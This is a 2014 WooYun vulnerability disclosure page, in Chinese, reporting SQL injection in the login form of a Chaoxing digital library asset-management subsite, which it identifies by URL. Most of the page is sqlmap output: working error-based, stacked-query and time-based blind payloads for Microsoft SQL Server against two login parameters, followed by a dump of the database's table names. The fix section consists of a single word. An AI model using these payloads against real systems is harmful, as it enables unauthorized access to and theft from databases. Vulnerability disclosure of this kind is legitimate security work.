当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063483

漏洞标题：超星数字图书某管理系统SQL注入

相关厂商：超星集团

漏洞作者： ÿÿ

提交时间：2014-06-04 18:21

修复时间：2014-07-23 20:08

公开时间：2014-07-23 20:08

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-04： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-07-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

超星数字图书某子站sql注入

详细说明：

地址:http://cg.chaoxing.com/ 登陆处

01.GIF


Place: POST
Parameter: TextBox2
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' AND 4903=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (4903=4903) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'XZqe'='XZqe&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user'; WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current database:    'asset'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: TextBox1
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin' AND 2913=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (2913=2913) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'ZNdx'='ZNdx&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin'; WAITFOR DELAY '0:0:15'--&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin' WAITFOR DELAY '0:0:15'--&TextBox2=user&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
Place: POST
Parameter: TextBox2
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' AND 4903=CONVERT(INT,(CHAR(58) CHAR(121) CHAR(120) CHAR(116) CHAR(58) (SELECT (CASE WHEN (4903=4903) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(116) CHAR(114) CHAR(103) CHAR(58))) AND 'XZqe'='XZqe&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user'; WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNjExMzc1NzA2D2QWAgIBDw8WAh4EVGV4dAU3PHNjcmlwdD5hbGVydCgn55So5oi35ZCN5oiW5a G56CB6ZSZ6K v77yBJyk7PC9zY3JpcHQ IGRkZPRXHJcpZ/gW4pK/xENxzPs/Orut&TextBox1=admin&TextBox2=user' WAITFOR DELAY '0:0:15'--&Button1=%E7%99%BB%E5%BD%95&__EVENTVALIDATION=/wEWBAKnqfL9CgLs0bLrBgLs0fbZDAKM54rGBhrkuBarzIG1j6/UkFuOqbIBe2X/
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
Database: asset
[23 tables]
+-----------------+
| AssetsInfo      |
| allot_records   |
| asset_records   |
| classify        |
| compare_name    |
| deleted_orders  |
| department      |
| employ          |
| employee        |
| fixedAsset      |
| mail            |
| mailServer      |
| orders          |
| orders_audit    |
| ordersbak       |
| out_records     |
| payment_info    |
| property        |
| provider        |
| provider_price  |
| repair_order    |
| search_provider |
| structure       |
+-----------------+

漏洞证明：

1.GIF

2.GIF

修复方案：

修补

版权声明：转载请注明来源 ÿÿ@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝